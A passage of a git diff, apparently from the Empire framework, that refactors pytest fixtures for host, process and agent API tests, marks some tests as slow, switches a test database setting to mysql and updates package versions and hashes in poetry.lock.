client.get(f"/api/v2/hosts/{host}", headers=admin_auth_header) assert response.status_code == 200 - assert response.json()["id"] == host[0].id - assert response.json()["name"] == host[0].name + assert response.json()["id"] == host -def test_get_hosts(client, admin_auth_header): +def test_get_hosts(client, host, admin_auth_header): response = client.get("/api/v2/hosts", headers=admin_auth_header) assert response.status_code == 200 diff --git a/empire/test/test_host_process_api.py b/empire/test/test_host_process_api.py index 1d164019c..472874c6b 100644 --- a/empire/test/test_host_process_api.py +++ b/empire/test/test_host_process_api.py @@ -1,54 +1,31 @@ import pytest -@pytest.fixture(scope="module", autouse=True) -def hosts(db, models): - hosts = db.query(models.Host).all() - - if not hosts: - host = models.Host(name="HOST_1", internal_ip="1.1.1.1") - - host2 = models.Host(name="HOST_2", internal_ip="2.2.2.2") - db.add(host) - db.add(host2) - db.flush() - db.commit() - - hosts = [host, host2] - - yield hosts +@pytest.fixture(scope="function", autouse=True) +def processes(db, host, agent, models): + db_agent = db.query(models.Agent).filter(models.Agent.session_id == agent).first() + db_agent.process_id = "11" + process1 = models.HostProcess( + host_id=host, + process_id=db_agent.process_id, + process_name="explorer.exe", + architecture="x86", + user="CX01N", + ) - for h in hosts: - db.delete(h) + process2 = models.HostProcess( + host_id=host, + process_id="12", + process_name="discord.exe", + architecture="x86", + user="Admin", + ) + db.add(process1) + db.add(process2) + db.flush() db.commit() - -@pytest.fixture(scope="module", autouse=True) -def processes(db, hosts, models): - processes = db.query(models.HostProcess).all() - - if not processes: - process1 = models.HostProcess( - host_id=hosts[0].id, - process_id="11", - process_name="explorer.exe", - architecture="x86", - user="CX01N", - ) - - process2 = models.HostProcess( - host_id=hosts[0].id, - process_id="12", - process_name="discord.exe", - architecture="x86", - user="Admin", - ) - db.add(process1) - db.add(process2) - db.flush() - db.commit() - - processes = [process1, process2] + processes = [process1, process2] yield processes @@ -57,39 +34,6 @@ def processes(db, hosts, models): db.commit() -@pytest.fixture(scope="module", autouse=True) -def agent(db, processes, models): - agent = db.query(models.Agent).first() - - if not agent: - agent = models.Agent( - name="TEST123", - session_id="TEST123", - host_id=processes[0].host_id, - process_id=processes[0].process_id, - delay=1, - jitter=0.1, - external_ip="1.1.1.1", - session_key="qwerty", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - archived=False, - ) - db.add(agent) - db.flush() - db.commit() - - yield agent - - db.delete(agent) - db.commit() - - def test_get_process_host_not_found(client, admin_auth_header): response = client.get("/api/v2/hosts/9999/processes", headers=admin_auth_header) @@ -97,21 +41,21 @@ def test_get_process_host_not_found(client, admin_auth_header): assert response.json()["detail"] == "Host not found for id 9999" -def test_get_process_not_found(client, admin_auth_header, hosts): +def test_get_process_not_found(client, admin_auth_header, host): response = client.get( - f"/api/v2/hosts/{hosts[0].id}/processes/8888", headers=admin_auth_header + f"/api/v2/hosts/{host}/processes/8888", headers=admin_auth_header ) assert response.status_code == 404 assert ( response.json()["detail"] - == f"Process not found for host id {hosts[0].id} and process id 8888" + == f"Process not found for host id {host} and process id 8888" ) -def test_get_process(client, admin_auth_header, hosts, processes): +def test_get_process(client, admin_auth_header, host, processes): response = client.get( - f"/api/v2/hosts/{hosts[0].id}/processes/{processes[0].process_id}", + f"/api/v2/hosts/{host}/processes/{processes[0].process_id}", headers=admin_auth_header, ) @@ -121,26 +65,22 @@ def test_get_process(client, admin_auth_header, hosts, processes): assert response.json()["host_id"] == processes[0].host_id -def test_get_processes(client, admin_auth_header, hosts): - response = client.get( - f"/api/v2/hosts/{hosts[0].id}/processes/", headers=admin_auth_header - ) +def test_get_processes(client, admin_auth_header, host): + response = client.get(f"/api/v2/hosts/{host}/processes/", headers=admin_auth_header) assert response.status_code == 200 assert len(response.json()["records"]) > 0 -def test_agent_join(client, admin_auth_header, hosts, agent): - response = client.get( - f"/api/v2/hosts/{hosts[0].id}/processes/", headers=admin_auth_header - ) +def test_agent_join(client, admin_auth_header, host, agent): + response = client.get(f"/api/v2/hosts/{host}/processes/", headers=admin_auth_header) assert response.status_code == 200 assert ( len( list( filter( - lambda x: x["agent_id"] == agent.session_id, + lambda x: x["agent_id"] == agent, response.json()["records"], ) ) diff --git a/empire/test/test_modules.py b/empire/test/test_modules.py index bc92dea90..c7f968ac3 100644 --- a/empire/test/test_modules.py +++ b/empire/test/test_modules.py @@ -39,54 +39,6 @@ def catch_logs(level: int, logger: logging.Logger) -> LogCaptureHandler: logger.removeHandler(handler) -@pytest.fixture(scope="module") -def host(db, models): - host = models.Host(name="HOST_1", internal_ip="1.1.1.1") - - db.add(host) - - yield host - - -# todo can probably have a shared default agent. This is copy/pasted -# in a few test files. -@pytest.fixture(scope="module", autouse=True) -def agent(db, models, host): - agent = db.query(models.Agent).first() - - if not agent: - agent = models.Agent( - name="TEST123", - session_id="TEST123", - host_id=host.id, - hostname=host.name, - process_id=1, - delay=1, - jitter=0.1, - external_ip="1.1.1.1", - session_key="qwerty", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - archived=False, - ) - db.add(agent) - db.flush() - - yield agent - - db.query(models.AgentTask).filter( - models.AgentTask.agent_id == agent.session_id - ).delete() - db.delete(agent) - db.delete(host) - db.commit() - - @pytest.fixture(scope="function") def main_menu_mock(models): main_menu = Mock() @@ -115,6 +67,7 @@ def module_service(main_menu_mock): yield ModuleService(main_menu_mock) +@pytest.mark.slow def test_load_modules(main_menu_mock, models, db): """ This is just meant to be a small smoke test to ensure that the modules @@ -152,22 +105,28 @@ def test_load_modules(main_menu_mock, models, db): ), f"No generated script for module {key}" -def test_execute_custom_generate(module_service, agent, db, models, install_path): - file_path = "empire/test/data/modules/test_custom_module.yaml" - root_path = f"{install_path}/modules/" - path = Path(file_path) - module_service._load_module( - db, yaml.safe_load(path.read_text()), root_path, file_path - ) +def test_execute_custom_generate( + module_service, session_local, agent, models, install_path +): + with session_local.begin() as db: + file_path = "empire/test/data/modules/test_custom_module.yaml" + root_path = f"{install_path}/modules/" + path = Path(file_path) + module_service._load_module( + db, yaml.safe_load(path.read_text()), root_path, file_path + ) - execute = module_service.execute_module( - db, - agent, - "empire_test_data_modules_test_custom_module", - {"Agent": agent.session_id}, - ignore_admin_check=True, - ignore_language_version_check=True, - ) + db_agent = ( + db.query(models.Agent).filter(models.Agent.session_id == agent).first() + ) + execute = module_service.execute_module( + db, + db_agent, + "empire_test_data_modules_test_custom_module", + {"Agent": agent}, + ignore_admin_check=True, + ignore_language_version_check=True, + ) - assert execute is not None - assert execute[0]["data"] == "This is the module code." + assert execute is not None + assert execute[0]["data"] == "This is the module code." diff --git a/empire/test/test_obfuscation_api.py b/empire/test/test_obfuscation_api.py index cb49257f8..31154064f 100644 --- a/empire/test/test_obfuscation_api.py +++ b/empire/test/test_obfuscation_api.py @@ -1,6 +1,8 @@ import os from contextlib import contextmanager +import pytest + @contextmanager def patch_config(empire_config): @@ -212,6 +214,7 @@ def test_preobfuscate_post_not_preobfuscatable( ) +@pytest.mark.slow def test_preobfuscate_post(client, admin_auth_header, empire_config): with patch_config(empire_config): response = client.post( diff --git a/empire/test/test_server_config.yaml b/empire/test/test_server_config.yaml index 287fdedb0..c75e927cd 100644 --- a/empire/test/test_server_config.yaml +++ b/empire/test/test_server_config.yaml @@ -1,6 +1,6 @@ suppress-self-cert-warning: true database: - use: sqlite + use: mysql mysql: url: localhost:3306 username: empire_user diff --git a/empire/test/test_zz_reset.py b/empire/test/test_zz_reset.py index 892d55aeb..6d7ba5fb5 100644 --- a/empire/test/test_zz_reset.py +++ b/empire/test/test_zz_reset.py @@ -7,9 +7,8 @@ from empire.test.conftest import CLIENT_CONFIG_LOC -# These tests are run last since they reset the server and can cause other tests to fail. - +# These tests are run last since they reset the server and can cause other tests to fail @pytest.fixture(scope="module", autouse=True) def wrap_reset(server_config_dict): """ @@ -32,6 +31,7 @@ def wrap_reset(server_config_dict): yield +@pytest.mark.slow @pytest.mark.timeout(30) def test_reset_server(monkeypatch, tmp_path, default_argv, server_config_dict): """ @@ -134,6 +134,7 @@ def test_reset_server(monkeypatch, tmp_path, default_argv, server_config_dict): # TODO: At the moment, this is the only client test we have. # It probably makes sense to split the tests into server and client directories, but # I'm hesitant to do that just yet because it could cause some merge pain with 5.x +@pytest.mark.slow @pytest.mark.timeout(30) def test_reset_client(monkeypatch, tmp_path, default_argv, client_config_dict): monkeypatch.setattr("builtins.input", lambda _: "y") diff --git a/poetry.lock b/poetry.lock index 3df72bf54..66cec87ea 100644 --- a/poetry.lock +++ b/poetry.lock @@ -24,48 +24,42 @@ files = [ [[package]] name = "anyio" -version = "3.6.2" +version = "3.7.0" description = "High level compatibility layer for multiple asynchronous event loop implementations" optional = false -python-versions = ">=3.6.2" +python-versions = ">=3.7" files = [ - {file = "anyio-3.6.2-py3-none-any.whl", hash = "sha256:fbbe32bd270d2a2ef3ed1c5d45041250284e31fc0a4df4a5a6071842051a51e3"}, - {file = "anyio-3.6.2.tar.gz", hash = "sha256:25ea0d673ae30af41a0c442f81cf3b38c7e79fdc7b60335a4c14e05eb0947421"}, + {file = "anyio-3.7.0-py3-none-any.whl", hash = "sha256:eddca883c4175f14df8aedce21054bfca3adb70ffe76a9f607aef9d7fa2ea7f0"}, + {file = "anyio-3.7.0.tar.gz", hash = "sha256:275d9973793619a5374e1c89a4f4ad3f4b0a5510a2b5b939444bee8f4c4d37ce"}, ] [package.dependencies] +exceptiongroup = {version = "*", markers = "python_version < \"3.11\""} idna = ">=2.8" sniffio = ">=1.1" [package.extras] -doc = ["packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme"] -test = ["contextlib2", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (<0.15)", "uvloop (>=0.15)"] -trio = ["trio (>=0.16,<0.22)"] +doc = ["Sphinx (>=6.1.0)", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme", "sphinxcontrib-jquery"] +test = ["anyio[trio]", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (>=0.17)"] +trio = ["trio (<0.22)"] [[package]] name = "asgiref" -version = "3.6.0" +version = "3.7.2" description = "ASGI specs, helper code, and adapters" optional = false python-versions = ">=3.7" files = [ - {file = "asgiref-3.6.0-py3-none-any.whl", hash = "sha256:71e68008da809b957b7ee4b43dbccff33d1b23519fb8344e33f049897077afac"}, - {file = "asgiref-3.6.0.tar.gz", hash = "sha256:9567dfe7bd8d3c8c892227827c41cce860b368104c3431da67a0c5a65a949506"}, + {file = "asgiref-3.7.2-py3-none-any.whl", hash = "sha256:89b2ef2247e3b562a16eef663bc0e2e703ec6468e2fa8a5cd61cd449786d4f6e"}, + {file = "asgiref-3.7.2.tar.gz", hash = "sha256:9e0ce3aa93a819ba5b45120216b23878cf6e8525eb3848653452b4192b92afed"}, ] +[package.dependencies] +typing-extensions = {version = ">=4", markers = "python_version < \"3.11\""} + [package.extras] tests = ["mypy (>=0.800)", "pytest", "pytest-asyncio"] -[[package]] -name = "atomicwrites" -version = "1.4.1" -description = "Atomic file writes." -optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" -files = [ - {file = "atomicwrites-1.4.1.tar.gz", hash = "sha256:81b2c9071a49367a7f770170e5eec8cb66567cfbbc8c73d20ce5ca4a8d71cf11"}, -] - [[package]] name = "attrs" version = "23.1.0" @@ -214,13 +208,13 @@ files = [ [[package]] name = "certifi" -version = "2022.12.7" +version = "2023.5.7" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" files = [ - {file = "certifi-2022.12.7-py3-none-any.whl", hash = "sha256:4ad3232f5e926d6718ec31cfc1fcadfde020920e278684144551c91769c7bc18"}, - {file = "certifi-2022.12.7.tar.gz", hash = "sha256:35824b4c3a97115964b408844d64aa14db1cc518f6562e8d7261699d1350a9e3"}, + {file = "certifi-2023.5.7-py3-none-any.whl", hash = "sha256:c6c2e98f5c7869efca1f8916fed228dd91539f9f1b444c314c06eef02980c716"}, + {file = "certifi-2023.5.7.tar.gz", hash = "sha256:0f0d56dc5a6ad56fd4ba36484d6cc34451e1c6548c61daad8c320169f91eddc7"}, ] [[package]] @@ -516,6 +510,20 @@ six = ">=1.9.0" gmpy = ["gmpy"] gmpy2 = ["gmpy2"] +[[package]] +name = "exceptiongroup" +version = "1.1.1" +description = "Backport of PEP 654 (exception groups)" +optional = false +python-versions = ">=3.7" +files = [ + {file = "exceptiongroup-1.1.1-py3-none-any.whl", hash = "sha256:232c37c63e4f682982c8b6459f33a8981039e5fb8756b2074364e5055c498c9e"}, + {file = "exceptiongroup-1.1.1.tar.gz", hash = "sha256:d484c3090ba2889ae2928419117447a14daf3c1231d5e30d0aae34f354f01785"}, +] + +[package.extras] +test = ["pytest (>=6)"] + [[package]] name = "fastapi" version = "0.70.0" @@ -539,13 +547,13 @@ test = ["anyio[trio] (>=3.2.1,<4.0.0)", "black (==21.9b0)", "databases[sqlite] ( [[package]] name = "flask" -version = "2.3.1" +version = "2.3.2" description = "A simple framework for building complex web applications." optional = false python-versions = ">=3.8" files = [ - {file = "Flask-2.3.1-py3-none-any.whl", hash = "sha256:8ba2a854608fdd603b67dccd4514a46450132227fb9df40127a8d0c1de8769ec"}, - {file = "Flask-2.3.1.tar.gz", hash = "sha256:a6059db4297106e5a64b3215fa16ae641822c1cb97ecb498573549b2478602cb"}, + {file = "Flask-2.3.2-py3-none-any.whl", hash = "sha256:77fd4e1249d8c9923de34907236b747ced06e5467ecac1a7bb7115ae0e9670b0"}, + {file = "Flask-2.3.2.tar.gz", hash = "sha256:8c2f9abd47a9e8df7f0c3f091ce9497d011dc3b31effcf4c85a6e2b50f4114ef"}, ] [package.dependencies] @@ -554,7 +562,7 @@ click = ">=8.1.3" importlib-metadata = {version = ">=3.6.0", markers = "python_version < \"3.10\""} itsdangerous = ">=2.1.2" Jinja2 = ">=3.1.2" -Werkzeug = ">=2.3.0" +Werkzeug = ">=2.3.3" [package.extras] async = ["asgiref (>=3.2)"] @@ -867,61 +875,61 @@ altgraph = ">=0.17" [[package]] name = "markupsafe" -version = "2.1.2" +version = "2.1.3" description = "Safely add untrusted strings to HTML/XML markup." optional = false python-versions = ">=3.7" files = [ - {file = "MarkupSafe-2.1.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:665a36ae6f8f20a4676b53224e33d456a6f5a72657d9c83c2aa00765072f31f7"}, - {file = "MarkupSafe-2.1.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:340bea174e9761308703ae988e982005aedf427de816d1afe98147668cc03036"}, - {file = "MarkupSafe-2.1.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22152d00bf4a9c7c83960521fc558f55a1adbc0631fbb00a9471e097b19d72e1"}, - {file = "MarkupSafe-2.1.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:28057e985dace2f478e042eaa15606c7efccb700797660629da387eb289b9323"}, - {file = "MarkupSafe-2.1.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca244fa73f50a800cf8c3ebf7fd93149ec37f5cb9596aa8873ae2c1d23498601"}, - {file = "MarkupSafe-2.1.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d9d971ec1e79906046aa3ca266de79eac42f1dbf3612a05dc9368125952bd1a1"}, - {file = "MarkupSafe-2.1.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:7e007132af78ea9df29495dbf7b5824cb71648d7133cf7848a2a5dd00d36f9ff"}, - {file = "MarkupSafe-2.1.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:7313ce6a199651c4ed9d7e4cfb4aa56fe923b1adf9af3b420ee14e6d9a73df65"}, - {file = "MarkupSafe-2.1.2-cp310-cp310-win32.whl", hash = "sha256:c4a549890a45f57f1ebf99c067a4ad0cb423a05544accaf2b065246827ed9603"}, - {file = "MarkupSafe-2.1.2-cp310-cp310-win_amd64.whl", hash = "sha256:835fb5e38fd89328e9c81067fd642b3593c33e1e17e2fdbf77f5676abb14a156"}, - {file = "MarkupSafe-2.1.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:2ec4f2d48ae59bbb9d1f9d7efb9236ab81429a764dedca114f5fdabbc3788013"}, - {file = "MarkupSafe-2.1.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:608e7073dfa9e38a85d38474c082d4281f4ce276ac0010224eaba11e929dd53a"}, - {file = "MarkupSafe-2.1.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:65608c35bfb8a76763f37036547f7adfd09270fbdbf96608be2bead319728fcd"}, - {file = "MarkupSafe-2.1.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2bfb563d0211ce16b63c7cb9395d2c682a23187f54c3d79bfec33e6705473c6"}, - {file = "MarkupSafe-2.1.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:da25303d91526aac3672ee6d49a2f3db2d9502a4a60b55519feb1a4c7714e07d"}, - {file = "MarkupSafe-2.1.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:9cad97ab29dfc3f0249b483412c85c8ef4766d96cdf9dcf5a1e3caa3f3661cf1"}, - {file = "MarkupSafe-2.1.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:085fd3201e7b12809f9e6e9bc1e5c96a368c8523fad5afb02afe3c051ae4afcc"}, - {file = "MarkupSafe-2.1.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1bea30e9bf331f3fef67e0a3877b2288593c98a21ccb2cf29b74c581a4eb3af0"}, - {file = "MarkupSafe-2.1.2-cp311-cp311-win32.whl", hash = "sha256:7df70907e00c970c60b9ef2938d894a9381f38e6b9db73c5be35e59d92e06625"}, - {file = "MarkupSafe-2.1.2-cp311-cp311-win_amd64.whl", hash = "sha256:e55e40ff0cc8cc5c07996915ad367fa47da6b3fc091fdadca7f5403239c5fec3"}, - {file = "MarkupSafe-2.1.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:a6e40afa7f45939ca356f348c8e23048e02cb109ced1eb8420961b2f40fb373a"}, - {file = "MarkupSafe-2.1.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cf877ab4ed6e302ec1d04952ca358b381a882fbd9d1b07cccbfd61783561f98a"}, - {file = "MarkupSafe-2.1.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:63ba06c9941e46fa389d389644e2d8225e0e3e5ebcc4ff1ea8506dce646f8c8a"}, - {file = "MarkupSafe-2.1.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f1cd098434e83e656abf198f103a8207a8187c0fc110306691a2e94a78d0abb2"}, - {file = "MarkupSafe-2.1.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:55f44b440d491028addb3b88f72207d71eeebfb7b5dbf0643f7c023ae1fba619"}, - {file = "MarkupSafe-2.1.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:a6f2fcca746e8d5910e18782f976489939d54a91f9411c32051b4aab2bd7c513"}, - {file = "MarkupSafe-2.1.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:0b462104ba25f1ac006fdab8b6a01ebbfbce9ed37fd37fd4acd70c67c973e460"}, - {file = "MarkupSafe-2.1.2-cp37-cp37m-win32.whl", hash = "sha256:7668b52e102d0ed87cb082380a7e2e1e78737ddecdde129acadb0eccc5423859"}, - {file = "MarkupSafe-2.1.2-cp37-cp37m-win_amd64.whl", hash = "sha256:6d6607f98fcf17e534162f0709aaad3ab7a96032723d8ac8750ffe17ae5a0666"}, - {file = "MarkupSafe-2.1.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:a806db027852538d2ad7555b203300173dd1b77ba116de92da9afbc3a3be3eed"}, - {file = "MarkupSafe-2.1.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a4abaec6ca3ad8660690236d11bfe28dfd707778e2442b45addd2f086d6ef094"}, - {file = "MarkupSafe-2.1.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f03a532d7dee1bed20bc4884194a16160a2de9ffc6354b3878ec9682bb623c54"}, - {file = "MarkupSafe-2.1.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4cf06cdc1dda95223e9d2d3c58d3b178aa5dacb35ee7e3bbac10e4e1faacb419"}, - {file = "MarkupSafe-2.1.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:22731d79ed2eb25059ae3df1dfc9cb1546691cc41f4e3130fe6bfbc3ecbbecfa"}, - {file = "MarkupSafe-2.1.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f8ffb705ffcf5ddd0e80b65ddf7bed7ee4f5a441ea7d3419e861a12eaf41af58"}, - {file = "MarkupSafe-2.1.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:8db032bf0ce9022a8e41a22598eefc802314e81b879ae093f36ce9ddf39ab1ba"}, - {file = "MarkupSafe-2.1.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:2298c859cfc5463f1b64bd55cb3e602528db6fa0f3cfd568d3605c50678f8f03"}, - {file = "MarkupSafe-2.1.2-cp38-cp38-win32.whl", hash = "sha256:50c42830a633fa0cf9e7d27664637532791bfc31c731a87b202d2d8ac40c3ea2"}, - {file = "MarkupSafe-2.1.2-cp38-cp38-win_amd64.whl", hash = "sha256:bb06feb762bade6bf3c8b844462274db0c76acc95c52abe8dbed28ae3d44a147"}, - {file = "MarkupSafe-2.1.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:99625a92da8229df6d44335e6fcc558a5037dd0a760e11d84be2260e6f37002f"}, - {file = "MarkupSafe-2.1.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8bca7e26c1dd751236cfb0c6c72d4ad61d986e9a41bbf76cb445f69488b2a2bd"}, - {file = "MarkupSafe-2.1.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40627dcf047dadb22cd25ea7ecfe9cbf3bbbad0482ee5920b582f3809c97654f"}, - {file = "MarkupSafe-2.1.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:40dfd3fefbef579ee058f139733ac336312663c6706d1163b82b3003fb1925c4"}, - {file = "MarkupSafe-2.1.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:090376d812fb6ac5f171e5938e82e7f2d7adc2b629101cec0db8b267815c85e2"}, - {file = "MarkupSafe-2.1.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:2e7821bffe00aa6bd07a23913b7f4e01328c3d5cc0b40b36c0bd81d362faeb65"}, - {file = "MarkupSafe-2.1.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:c0a33bc9f02c2b17c3ea382f91b4db0e6cde90b63b296422a939886a7a80de1c"}, - {file = "MarkupSafe-2.1.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:b8526c6d437855442cdd3d87eede9c425c4445ea011ca38d937db299382e6fa3"}, - {file = "MarkupSafe-2.1.2-cp39-cp39-win32.whl", hash = "sha256:137678c63c977754abe9086a3ec011e8fd985ab90631145dfb9294ad09c102a7"}, - {file = "MarkupSafe-2.1.2-cp39-cp39-win_amd64.whl", hash = "sha256:0576fe974b40a400449768941d5d0858cc624e3249dfd1e0c33674e5c7ca7aed"}, - {file = "MarkupSafe-2.1.2.tar.gz", hash = "sha256:abcabc8c2b26036d62d4c746381a6f7cf60aafcc653198ad678306986b09450d"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cd0f502fe016460680cd20aaa5a76d241d6f35a1c3350c474bac1273803893fa"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e09031c87a1e51556fdcb46e5bd4f59dfb743061cf93c4d6831bf894f125eb57"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:68e78619a61ecf91e76aa3e6e8e33fc4894a2bebe93410754bd28fce0a8a4f9f"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:65c1a9bcdadc6c28eecee2c119465aebff8f7a584dd719facdd9e825ec61ab52"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:525808b8019e36eb524b8c68acdd63a37e75714eac50e988180b169d64480a00"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:962f82a3086483f5e5f64dbad880d31038b698494799b097bc59c2edf392fce6"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:aa7bd130efab1c280bed0f45501b7c8795f9fdbeb02e965371bbef3523627779"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c9c804664ebe8f83a211cace637506669e7890fec1b4195b505c214e50dd4eb7"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-win32.whl", hash = "sha256:10bbfe99883db80bdbaff2dcf681dfc6533a614f700da1287707e8a5d78a8431"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-win_amd64.whl", hash = "sha256:1577735524cdad32f9f694208aa75e422adba74f1baee7551620e43a3141f559"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ad9e82fb8f09ade1c3e1b996a6337afac2b8b9e365f926f5a61aacc71adc5b3c"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3c0fae6c3be832a0a0473ac912810b2877c8cb9d76ca48de1ed31e1c68386575"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b076b6226fb84157e3f7c971a47ff3a679d837cf338547532ab866c57930dbee"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bfce63a9e7834b12b87c64d6b155fdd9b3b96191b6bd334bf37db7ff1fe457f2"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:338ae27d6b8745585f87218a3f23f1512dbf52c26c28e322dbe54bcede54ccb9"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e4dd52d80b8c83fdce44e12478ad2e85c64ea965e75d66dbeafb0a3e77308fcc"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:df0be2b576a7abbf737b1575f048c23fb1d769f267ec4358296f31c2479db8f9"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:5bbe06f8eeafd38e5d0a4894ffec89378b6c6a625ff57e3028921f8ff59318ac"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-win32.whl", hash = "sha256:dd15ff04ffd7e05ffcb7fe79f1b98041b8ea30ae9234aed2a9168b5797c3effb"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-win_amd64.whl", hash = "sha256:134da1eca9ec0ae528110ccc9e48041e0828d79f24121a1a146161103c76e686"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8e254ae696c88d98da6555f5ace2279cf7cd5b3f52be2b5cf97feafe883b58d2"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cb0932dc158471523c9637e807d9bfb93e06a95cbf010f1a38b98623b929ef2b"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9402b03f1a1b4dc4c19845e5c749e3ab82d5078d16a2a4c2cd2df62d57bb0707"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca379055a47383d02a5400cb0d110cef0a776fc644cda797db0c5696cfd7e18e"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7ff0f54cb4ff66dd38bebd335a38e2c22c41a8ee45aa608efc890ac3e3931bc"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c011a4149cfbcf9f03994ec2edffcb8b1dc2d2aede7ca243746df97a5d41ce48"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = 